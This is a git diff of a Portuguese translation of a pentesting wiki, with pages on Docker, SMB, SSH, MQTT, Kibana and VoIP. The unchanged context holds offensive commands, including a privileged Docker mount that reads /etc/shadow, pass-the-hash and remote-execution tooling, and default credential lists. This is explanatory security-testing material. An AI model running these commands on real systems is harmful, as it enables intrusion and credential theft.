usando alguma extensão**? - [**WebViews**](ios-pentesting/ios-webviews.md) - [ ] Verifique que tipo de webviews estão sendo usados. - [ ] Verifique o status de **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**. @@ -81,13 +81,13 @@ ### Comunicação de Rede -- [ ] Realize um [**MitM na comunicação**](ios-pentesting/#network-communication) e procure por vulnerabilidades na web. -- [ ] Verifique se o [**hostname do certificado**](ios-pentesting/#hostname-check) está sendo verificado. -- [ ] Verifique/Contorne [**Certificate Pinning**](ios-pentesting/#certificate-pinning). +- [ ] Realize um [**MitM na comunicação**](ios-pentesting/index.html#network-communication) e procure por vulnerabilidades na web. +- [ ] Verifique se o [**hostname do certificado**](ios-pentesting/index.html#hostname-check) está sendo verificado. +- [ ] Verifique/Contorne [**Certificate Pinning**](ios-pentesting/index.html#certificate-pinning). ### **Diversos** -- [ ] Verifique se há mecanismos de [**atualização/patching automático**](ios-pentesting/#hot-patching-enforced-updateing). -- [ ] Verifique se há [**bibliotecas de terceiros maliciosas**](ios-pentesting/#third-parties). +- [ ] Verifique se há mecanismos de [**atualização/patching automático**](ios-pentesting/index.html#hot-patching-enforced-updateing). +- [ ] Verifique se há [**bibliotecas de terceiros maliciosas**](ios-pentesting/index.html#third-parties). {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md b/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md index 8864295f1..8b581ff87 100644 --- a/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md +++ b/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md @@ -24,7 +24,7 @@ Por exemplo, se o broker rejeitar a conexão devido a credenciais inválidas, o ``` ![](<../images/image (976).png>) -### [**Brute-Force MQTT**](../generic-hacking/brute-force.md#mqtt) +### [**Força Bruta MQTT**](../generic-hacking/brute-force.md#mqtt) ## Pentesting MQTT @@ -56,7 +56,7 @@ PORT = 1883 def on_connect(client, userdata, flags, rc): client.subscribe('#', qos=1) -client.subscribe('$SYS/#') +client.subscribe('$SYS/index.html#') def on_message(client, userdata, message): print('Topic: %s | QOS: %s | Message: %s' % (message.topic, message.qos, message.payload)) @@ -75,7 +75,7 @@ main() ``` ## Mais informações -a partir daqui: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b) +from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b) ### O Padrão Publish/Subscribe @@ -88,7 +88,7 @@ O modelo publish/subscribe é composto por: ### Formato do Pacote -Cada pacote MQTT contém um cabeçalho fixo (Figura 02). Figura 02: Cabeçalho Fixo +Cada pacote MQTT contém um cabeçalho fixo (Figura 02).Figura 02: Cabeçalho Fixo ![https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png) @@ -99,7 +99,7 @@ Cada pacote MQTT contém um cabeçalho fixo (Figura 02). Figura 02: Cabeçalho F - PUBLISH (3): Usado para enviar uma mensagem do cliente para o servidor ou vice-versa. - PUBACK (4): Reconhecimento de um pacote PUBLISH. - PUBREC (5): Parte de um protocolo de entrega de mensagens que garante que a mensagem foi recebida. -- PUBREL (6): Garantia adicional na entrega da mensagem, indicando uma liberação de mensagem. +- PUBREL (6): Garantia adicional na entrega da mensagem, indicando a liberação de uma mensagem. - PUBCOMP (7): Parte final do protocolo de entrega de mensagens, indicando conclusão. - SUBSCRIBE (8): Um pedido do cliente para escutar mensagens de um tópico. - SUBACK (9): O reconhecimento do servidor de um pedido SUBSCRIBE. diff --git a/src/network-services-pentesting/2375-pentesting-docker.md b/src/network-services-pentesting/2375-pentesting-docker.md index 9707c4d07..7a09353c7 100644 --- a/src/network-services-pentesting/2375-pentesting-docker.md +++ b/src/network-services-pentesting/2375-pentesting-docker.md @@ -6,13 +6,13 @@ #### O que é -Docker é a **plataforma de ponta** na **indústria de containerização**, liderando a **inovação contínua**. Facilita a criação e distribuição sem esforço de aplicações, abrangendo desde **tradicionais até futuristas**, e assegura seu **desdobramento seguro** em diversos ambientes. +Docker é a **plataforma de ponta** na **indústria de containerização**, liderando a **inovação contínua**. Facilita a criação e distribuição de aplicações de forma simples, abrangendo desde **tradicionais até futuristas**, e assegura seu **desdobramento seguro** em diversos ambientes. #### Arquitetura básica do docker -- [**containerd**](http://containerd.io): Este é um **runtime central** para containers, encarregado da **gestão abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de containers. **Insights mais detalhados** sobre containerd são **explorados mais a fundo**. -- O **container-shim** desempenha um papel crítico como um **intermediário** no manuseio de **containers sem cabeça**, assumindo perfeitamente o controle de **runc** após os containers serem inicializados. -- [**runc**](http://runc.io): Reconhecido por suas capacidades de **runtime de container leve e universal**, runc está alinhado com o **padrão OCI**. É usado pelo containerd para **iniciar e gerenciar containers** de acordo com as **diretrizes OCI**, tendo evoluído do original **libcontainer**. +- [**containerd**](http://containerd.io): Este é um **runtime central** para containers, encarregado da **gestão abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de containers. **Mais detalhes** sobre containerd são **explorados mais adiante**. +- O **container-shim** desempenha um papel crítico como um **intermediário** no manuseio de **containers sem cabeça**, assumindo de forma contínua a partir do **runc** após os containers serem inicializados. +- [**runc**](http://runc.io): Reconhecido por suas capacidades de **runtime de container leve e universal**, runc está alinhado com o **padrão OCI**. É utilizado pelo containerd para **iniciar e gerenciar containers** de acordo com as **diretrizes OCI**, tendo evoluído do original **libcontainer**. - [**grpc**](http://www.grpc.io) é essencial para **facilitar a comunicação** entre containerd e o **docker-engine**, garantindo uma **interação eficiente**. - O [**OCI**](https://www.opencontainers.org) é fundamental na manutenção das **especificações OCI** para runtime e imagens, com as versões mais recentes do Docker sendo **compatíveis com os padrões de imagem e runtime OCI**. @@ -41,7 +41,7 @@ docker system prune -a ``` #### Containerd -**Containerd** foi desenvolvido especificamente para atender às necessidades de plataformas de contêiner como **Docker e Kubernetes**, entre outras. Seu objetivo é **simplificar a execução de contêineres** em vários sistemas operacionais, incluindo Linux, Windows, Solaris e mais, abstraindo a funcionalidade específica do sistema operacional e chamadas de sistema. O objetivo do Containerd é incluir apenas os recursos essenciais necessários para seus usuários, esforçando-se para omitir componentes desnecessários. No entanto, alcançar esse objetivo completamente é reconhecido como desafiador. +**Containerd** foi desenvolvido especificamente para atender às necessidades de plataformas de contêiner como **Docker e Kubernetes**, entre outras. Seu objetivo é **simplificar a execução de contêineres** em vários sistemas operacionais, incluindo Linux, Windows, Solaris e mais, abstraindo a funcionalidade específica do sistema operacional e chamadas de sistema. O objetivo do Containerd é incluir apenas os recursos essenciais exigidos por seus usuários, esforçando-se para omitir componentes desnecessários. No entanto, alcançar esse objetivo completamente é reconhecido como desafiador. Uma decisão de design chave é que **Containerd não lida com redes**. A rede é considerada um elemento crítico em sistemas distribuídos, com complexidades como Redes Definidas por Software (SDN) e descoberta de serviços que variam significativamente de uma plataforma para outra. Portanto, o Containerd deixa os aspectos de rede para serem gerenciados pelas plataformas que suporta. @@ -70,7 +70,7 @@ Podman é projetado para ser compatível com a API do Docker, permitindo o uso d **Principais Diferenças** - **Arquitetura**: Ao contrário do modelo cliente-servidor do Docker com um daemon em segundo plano, o Podman opera sem um daemon. Esse design significa que os contêineres são executados com os privilégios do usuário que os inicia, aumentando a segurança ao eliminar a necessidade de acesso root. -- **Integração com Systemd**: O Podman se integra ao **systemd** para gerenciar contêineres, permitindo a gestão de contêineres através de unidades do systemd. Isso contrasta com o uso do systemd pelo Docker, principalmente para gerenciar o processo do daemon do Docker. +- **Integração com Systemd**: O Podman se integra ao **systemd** para gerenciar contêineres, permitindo a gestão de contêineres através de unidades do systemd. Isso contrasta com o uso do systemd pelo Docker, que é principalmente para gerenciar o processo do daemon do Docker. - **Contêineres Sem Root**: Uma característica fundamental do Podman é sua capacidade de executar contêineres sob os privilégios do usuário que os inicia. Essa abordagem minimiza os riscos associados a brechas em contêineres, garantindo que os atacantes obtenham apenas os privilégios do usuário comprometido, e não acesso root. A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfatizando a gestão de privilégios do usuário e a compatibilidade com fluxos de trabalho existentes do Docker. @@ -87,7 +87,7 @@ A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfa ### Informações Básicas -A API remota está em execução por padrão na porta 2375 quando habilitada. O serviço, por padrão, não exigirá autenticação, permitindo que um atacante inicie um contêiner docker privilegiado. Ao usar a API remota, pode-se anexar hosts / (diretório raiz) ao contêiner e ler/escrever arquivos do ambiente do host. +A API remota está em execução por padrão na porta 2375 quando habilitada. O serviço, por padrão, não exigirá autenticação, permitindo que um atacante inicie um contêiner docker privilegiado. Ao usar a API remota, pode-se anexar hosts / (diretório raiz) ao contêiner e ler/gravar arquivos do ambiente do host. **Porta padrão:** 2375 ``` @@ -98,7 +98,7 @@ PORT STATE SERVICE #### Manual -Observe que, para enumerar a API do docker, você pode usar o comando `docker` ou `curl`, como no seguinte exemplo: +Note que, para enumerar a API do docker, você pode usar o comando `docker` ou `curl`, como no seguinte exemplo: ```bash #Using curl curl -s http://open.docker.socket:2375/version | jq #Get version @@ -134,12 +134,12 @@ docker-init: Version: 0.18.0 GitCommit: fec3683 ``` -Se você pode **contatar a API remota do docker com o comando `docker`**, você pode **executar** qualquer um dos **comandos do docker** [**comentados anteriormente**](2375-pentesting-docker.md#basic-commands) para interagir com o serviço. +Se você pode **contatar a API remota do docker com o comando `docker`** você pode **executar** qualquer um dos **comandos** do **docker** [**comentados anteriormente**](2375-pentesting-docker.md#basic-commands) para interagir com o serviço. > [!NOTE] > Você pode `export DOCKER_HOST="tcp://localhost:2375"` e **evitar** usar o parâmetro `-H` com o comando docker -**Escalação de privilégios rápida** +**Escalação rápida de privilégios** ```bash docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash ``` @@ -190,7 +190,7 @@ Na página a seguir, você pode encontrar maneiras de **escapar de um contêiner ../linux-hardening/privilege-escalation/docker-security/ {{#endref}} -Abusando disso, é possível escapar de um contêiner, você poderia executar um contêiner fraco na máquina remota, escapar dele e comprometer a máquina: +Abusando disso, é possível escapar de um contêiner; você poderia executar um contêiner fraco na máquina remota, escapar dele e comprometer a máquina: ```bash docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine cat /mnt/etc/shadow @@ -199,7 +199,7 @@ cat /mnt/etc/shadow ### Escalada de Privilégios -Se você estiver dentro de um host que está usando docker, você pode [**ler esta informação para tentar elevar privilégios**](../linux-hardening/privilege-escalation/#writable-docker-socket). +Se você estiver dentro de um host que está usando docker, você pode [**ler esta informação para tentar elevar privilégios**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket). ### Descobrindo segredos em contêineres Docker em execução ```bash diff --git a/src/network-services-pentesting/5601-pentesting-kibana.md b/src/network-services-pentesting/5601-pentesting-kibana.md index 85473a3ea..feeb828e0 100644 --- a/src/network-services-pentesting/5601-pentesting-kibana.md +++ b/src/network-services-pentesting/5601-pentesting-kibana.md @@ -6,19 +6,19 @@ Kibana é conhecido por sua capacidade de buscar e visualizar dados dentro do El ## Entendendo a Autenticação -O processo de autenticação no Kibana está intrinsecamente ligado às **credenciais usadas no Elasticsearch**. Se a autenticação do Elasticsearch estiver desativada, o Kibana pode ser acessado sem credenciais. Por outro lado, se o Elasticsearch estiver protegido com credenciais, as mesmas credenciais são necessárias para acessar o Kibana, mantendo permissões de usuário idênticas em ambas as plataformas. As credenciais podem ser encontradas no arquivo **/etc/kibana/kibana.yml**. Se essas credenciais não pertencerem ao usuário **kibana_system**, elas podem oferecer direitos de acesso mais amplos, uma vez que o acesso do usuário kibana_system é restrito a APIs de monitoramento e ao índice .kibana. +O processo de autenticação no Kibana está inerentemente ligado às **credenciais usadas no Elasticsearch**. Se a autenticação do Elasticsearch estiver desativada, o Kibana pode ser acessado sem credenciais. Por outro lado, se o Elasticsearch estiver protegido com credenciais, as mesmas credenciais são necessárias para acessar o Kibana, mantendo permissões de usuário idênticas em ambas as plataformas. As credenciais podem ser encontradas no arquivo **/etc/kibana/kibana.yml**. Se essas credenciais não pertencerem ao usuário **kibana_system**, elas podem oferecer direitos de acesso mais amplos, uma vez que o acesso do usuário kibana_system é restrito a APIs de monitoramento e ao índice .kibana. ## Ações Após o Acesso -Uma vez que o acesso ao Kibana esteja seguro, várias ações são aconselháveis: +Uma vez que o acesso ao Kibana esteja garantido, várias ações são aconselháveis: - Explorar dados do Elasticsearch deve ser uma prioridade. -- A capacidade de gerenciar usuários, incluindo a edição, exclusão ou criação de novos usuários, funções ou chaves de API, pode ser encontrada em Gerenciamento de Stack -> Usuários/Funções/Chaves de API. -- É importante verificar a versão instalada do Kibana em busca de vulnerabilidades conhecidas, como a vulnerabilidade RCE identificada em versões anteriores a 6.6.0 ([Mais Informações](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)). +- A capacidade de gerenciar usuários, incluindo a edição, exclusão ou criação de novos usuários, funções ou chaves de API, pode ser encontrada em Gerenciamento do Stack -> Usuários/Funções/Chaves de API. +- É importante verificar a versão instalada do Kibana em busca de vulnerabilidades conhecidas, como a vulnerabilidade RCE identificada em versões anteriores à 6.6.0 ([Mais Informações](https://insinuator.net/2021/01/pentesting-the-elk-stack/index.html#ref2)). ## Considerações sobre SSL/TLS -Em casos onde SSL/TLS não está habilitado, o potencial para vazar informações sensíveis deve ser avaliado minuciosamente. +Em casos onde SSL/TLS não está habilitado, o potencial para vazamento de informações sensíveis deve ser avaliado minuciosamente. ## Referências diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index b1fa1a3d6..3cb64d8ca 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -18,7 +18,7 @@ Por exemplo, no contexto do Windows, é destacado que o SMB pode operar diretame ``` ### SMB -O **Server Message Block (SMB)** protocolo, operando em um modelo **cliente-servidor**, é projetado para regular o **acesso a arquivos**, diretórios e outros recursos de rede como impressoras e roteadores. Utilizado principalmente dentro da série de sistemas operacionais **Windows**, o SMB garante compatibilidade retroativa, permitindo que dispositivos com versões mais novas do sistema operacional da Microsoft interajam perfeitamente com aqueles que executam versões mais antigas. Além disso, o projeto **Samba** oferece uma solução de software livre, permitindo a implementação do SMB em sistemas **Linux** e Unix, facilitando assim a comunicação entre plataformas através do SMB. +O **Server Message Block (SMB)** protocolo, operando em um modelo **cliente-servidor**, é projetado para regular o **acesso a arquivos**, diretórios e outros recursos de rede, como impressoras e roteadores. Utilizado principalmente dentro da série de sistemas operacionais **Windows**, o SMB garante compatibilidade retroativa, permitindo que dispositivos com versões mais novas do sistema operacional da Microsoft interajam perfeitamente com aqueles que executam versões mais antigas. Além disso, o projeto **Samba** oferece uma solução de software livre, permitindo a implementação do SMB em sistemas **Linux** e Unix, facilitando assim a comunicação entre plataformas através do SMB. Compartilhamentos, representando **partes arbitrárias do sistema de arquivos local**, podem ser fornecidos por um servidor SMB, tornando a hierarquia visível para um cliente parcialmente **independente** da estrutura real do servidor. As **Access Control Lists (ACLs)**, que definem **direitos de acesso**, permitem um **controle detalhado** sobre as permissões dos usuários, incluindo atributos como **`execute`**, **`read`** e **`full access`**. Essas permissões podem ser atribuídas a usuários individuais ou grupos, com base nos compartilhamentos, e são distintas das permissões locais definidas no servidor. @@ -32,7 +32,7 @@ O acesso ao compartilhamento IPC$ pode ser obtido através de uma sessão nula a - Informações sobre os compartilhamentos SMB disponíveis - A política de segurança do sistema efetiva -Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente seguros. +Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, o que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente protegidos. ```bash enum4linux -a target_ip ``` @@ -81,15 +81,15 @@ searchsploit microsoft smb ``` ### **Credenciais** Possíveis -| **Nome(s) de usuário** | **Senhas comuns** | -| ---------------------- | --------------------------------------- | -| _(em branco)_ | _(em branco)_ | -| convidado | _(em branco)_ | +| **Nome(s) de usuário** | **Senhas comuns** | +| ---------------------- | ---------------------------------------- | +| _(em branco)_ | _(em branco)_ | +| convidado | _(em branco)_ | | Administrador, admin | _(em branco)_, senha, administrador, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| teste, lab, demo | senha, teste, lab, demo | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| teste, lab, demo | senha, teste, lab, demo | ### Força Bruta @@ -121,7 +121,7 @@ rpcclient -U "username%passwd" #With creds ``` ### Enumerar Usuários, Grupos e Usuários Conectados -Essas informações já devem estar sendo coletadas a partir do enum4linux e enum4linux-ng. +Essas informações já devem ter sido coletadas do enum4linux e enum4linux-ng. ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -149,7 +149,7 @@ use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` -### **Enumeração de LSARPC e SAMR rpcclient** +### **Enumerando LSARPC e SAMR rpcclient** {{#ref}} rpcclient-enumeration.md @@ -169,7 +169,7 @@ rpcclient-enumeration.md ### Listar pastas compartilhadas -É sempre recomendado verificar se você pode acessar algo, se você não tiver credenciais, tente usar **null** **credentials/guest user**. +É sempre recomendável verificar se você pode acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -300,11 +300,11 @@ Comandos: ### Pesquisa de Pastas Compartilhadas do Domínio -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)**** +- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` -- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) aranha. +- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider. - `-M spider_plus [--share ]` - `--pattern txt` ```bash @@ -326,7 +326,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Pós Exploração -A **configuração padrão do** servidor **Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode ter algumas **configurações perigosas**: +A **configuração padrão de** um **servidor Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode ter algumas **configurações perigosas**: | **Configuração** | **Descrição** | | -------------------------- | ----------------------------------------------------------------- | @@ -334,11 +334,11 @@ A **configuração padrão do** servidor **Samba** geralmente está localizada e | `read only = no` | Proibir a criação e modificação de arquivos? | | `writable = yes` | Permitir que os usuários criem e modifiquem arquivos? | | `guest ok = yes` | Permitir conectar-se ao serviço sem usar uma senha? | -| `enable privileges = yes` | Honrar privilégios atribuídos a SID específicos? | +| `enable privileges = yes` | Honrar privilégios atribuídos a SID específicos? | | `create mask = 0777` | Quais permissões devem ser atribuídas aos arquivos recém-criados? | | `directory mask = 0777` | Quais permissões devem ser atribuídas aos diretórios recém-criados? | | `logon script = script.sh`| Qual script precisa ser executado no login do usuário? | -| `magic script = script.sh`| Qual script deve ser executado quando o script for fechado? | +| `magic script = script.sh`| Qual script deve ser executado quando o script for fechado? | | `magic output = script.out`| Onde a saída do script mágico deve ser armazenada? | O comando `smbstatus` fornece informações sobre o **servidor** e sobre **quem está conectado**. @@ -378,7 +378,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -Ambas as opções **criarão um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina da vítima e o usarão para **executar algo** (**psexec** irá **carregar** um arquivo executável para o compartilhamento ADMIN$ e **smbexec** apontará para **cmd.exe/powershell.exe** e colocará nos argumentos o payload --**técnica sem arquivo-**-).\ +Ambas as opções **criarão um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina da vítima e o usarão para **executar algo** (**psexec** **fará o upload** de um arquivo executável para o compartilhamento ADMIN$ e **smbexec** apontará para **cmd.exe/powershell.exe** e colocará nos argumentos o payload --**técnica sem arquivo-**-).\ **Mais informações** sobre [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)e [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ No **kali** está localizado em /usr/share/doc/python3-impacket/examples/ ```bash @@ -400,7 +400,7 @@ Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/ ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -Usando **parameter**`-k` você pode se autenticar contra **kerberos** em vez de **NTLM** +Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **NTLM** ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -452,7 +452,7 @@ Que são usadas por alguns navegadores e ferramentas (como Skype) ## Roubo de NTLM -Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como Responder. O hash pode então ser quebrado offline ou usado em um [ataque de retransmissão SMB](./#smb-relay-attack). +Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como Responder. O hash pode então ser quebrado offline ou usado em um [ataque de retransmissão SMB](#smb-relay-attack). [Veja: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index c29d271e4..bedbb225f 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -12,7 +12,7 @@ ``` **Servidores SSH:** -- [openSSH](http://www.openssh.org) – OpenBSD SSH, incluído em distribuições BSD, Linux e Windows desde o Windows 10 +- [openSSH](http://www.openssh.org) – OpenBSD SSH, incluído no BSD, distribuições Linux e Windows desde o Windows 10 - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementação SSH para ambientes com poucos recursos de memória e processador, incluído no OpenWrt - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – implementação SSH para Windows, o cliente é comumente usado, mas o uso do servidor é mais raro - [CopSSH](https://www.itefix.net/copssh) – implementação do OpenSSH para Windows @@ -38,13 +38,13 @@ ssh-audit é uma ferramenta para auditoria de configuração de servidor e clien **Recursos:** -- Suporte ao servidor dos protocolos SSH1 e SSH2; +- Suporte a servidores dos protocolos SSH1 e SSH2; - analisar a configuração do cliente SSH; - capturar banner, reconhecer dispositivo ou software e sistema operacional, detectar compressão; - coletar algoritmos de troca de chaves, chave do host, criptografia e código de autenticação de mensagem; - saída de informações sobre algoritmos (disponível desde, removido/desativado, inseguro/fraco/legado, etc); -- saída de recomendações de algoritmos (adicionar ou remover com base na versão do software reconhecido); -- saída de informações de segurança (problemas relacionados, lista de CVE atribuída, etc); +- saída de recomendações de algoritmos (adicionar ou remover com base na versão do software reconhecida); +- saída de informações de segurança (problemas relacionados, lista de CVE atribuídos, etc); - analisar a compatibilidade da versão SSH com base nas informações do algoritmo; - informações históricas do OpenSSH, Dropbear SSH e libssh; - funciona em Linux e Windows; @@ -91,11 +91,11 @@ nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check a - `ssh` -## Força bruta de nomes de usuário, senhas e chaves privadas +## Força bruta em nomes de usuário, senhas e chaves privadas ### Enumeração de Nomes de Usuário -Em algumas versões do OpenSSH, você pode fazer um ataque de temporização para enumerar usuários. Você pode usar um módulo do metasploit para explorar isso: +Em algumas versões do OpenSSH, você pode realizar um ataque de temporização para enumerar usuários. Você pode usar um módulo do metasploit para explorar isso: ``` msf> use scanner/ssh/ssh_enumusers ``` @@ -163,11 +163,11 @@ Se você estiver na rede local como a vítima que vai se conectar ao servidor SS [**SSH MITM**](https://github.com/jtesta/ssh-mitm) faz exatamente o que foi descrito acima. -Para capturar e realizar o MitM real, você pode usar técnicas como spoofing ARP, spoofing DNS ou outras descritas nos [**ataques de Spoofing de Rede**](../generic-methodologies-and-resources/pentesting-network/#spoofing). +Para capturar e realizar o MitM real, você pode usar técnicas como spoofing ARP, spoofing DNS ou outras descritas nos [**ataques de Spoofing de Rede**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing). ## SSH-Snake -Se você quiser percorrer uma rede usando chaves privadas SSH descobertas em sistemas, utilizando cada chave privada em cada sistema para novos hosts, então [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) é o que você precisa. +Se você deseja percorrer uma rede usando chaves privadas SSH descobertas em sistemas, utilizando cada chave privada em cada sistema para novos hosts, então [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) é o que você precisa. SSH-Snake realiza as seguintes tarefas automaticamente e recursivamente: @@ -267,7 +267,7 @@ debug1: Next authentication method: password ``` Revisar a configuração do servidor SSH é necessário para verificar se apenas os métodos esperados estão autorizados. Usar o modo verbose no cliente pode ajudar a ver a eficácia da configuração. -### Arquivos de configuração +### Config files ```bash ssh_config sshd_config diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index a41015649..42c04dcae 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## Informações Básicas sobre VoIP Para começar a aprender sobre como o VoIP funciona, consulte: @@ -127,11 +126,11 @@ OPTIONS Query the capabilities of an endpoint RFC 3261 607 Unwanted 608 Rejected ``` -## Enumeração de VoIP +## VoIP Enumeration ### Números de Telefone -Um dos primeiros passos que uma Red Team pode fazer é procurar números de telefone disponíveis para contatar a empresa usando ferramentas de OSINT, buscas no Google ou raspagem de páginas da web. +Um dos primeiros passos que uma Red Team pode dar é procurar números de telefone disponíveis para contatar a empresa usando ferramentas OSINT, pesquisas no Google ou raspagem de páginas da web. Uma vez que você tenha os números de telefone, você pode usar serviços online para identificar o operador: @@ -140,7 +139,7 @@ Uma vez que você tenha os números de telefone, você pode usar serviços onlin - [https://www.whitepages.com/](https://www.whitepages.com/) - [https://www.twilio.com/lookup](https://www.twilio.com/lookup) -Saber se o operador fornece serviços de VoIP pode ajudar a identificar se a empresa está usando VoIP... Além disso, é possível que a empresa não tenha contratado serviços de VoIP, mas esteja usando cartões PSTN para conectar seu próprio PBX VoIP à rede de telefonia tradicional. +Saber se o operador fornece serviços VoIP pode ajudá-lo a identificar se a empresa está usando VoIP... Além disso, é possível que a empresa não tenha contratado serviços VoIP, mas esteja usando cartões PSTN para conectar seu próprio PBX VoIP à rede de telefonia tradicional. Coisas como respostas automáticas de música geralmente indicam que o VoIP está sendo usado. @@ -192,7 +191,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` -- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** O SIPPTS scan é um scanner muito rápido para serviços SIP sobre UDP, TCP ou TLS. Ele utiliza multithread e pode escanear grandes faixas de redes. Permite indicar facilmente uma faixa de portas, escanear tanto TCP quanto UDP, usar outro método (por padrão, usará OPTIONS) e especificar um User-Agent diferente (e mais). +- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** O SIPPTS scan é um scanner muito rápido para serviços SIP sobre UDP, TCP ou TLS. Ele utiliza multithreading e pode escanear grandes faixas de redes. Permite indicar facilmente um intervalo de portas, escanear tanto TCP quanto UDP, usar outro método (por padrão, usará OPTIONS) e especificar um User-Agent diferente (e mais). ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] @@ -208,7 +207,7 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP) auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP) ``` -#### Enumeração Extra de Rede +#### Enumeração de Rede Extra O PBX também pode estar expondo outros serviços de rede, como: @@ -241,15 +240,15 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws Extensões em um sistema PBX (Private Branch Exchange) referem-se aos **identificadores internos únicos atribuídos a linhas** telefônicas, dispositivos ou usuários individuais dentro de uma organização ou empresa. As extensões possibilitam **rutar chamadas dentro da organização de forma eficiente**, sem a necessidade de números de telefone externos individuais para cada usuário ou dispositivo. -- **`svwar`** do SIPVicious (`sudo apt install sipvicious`): 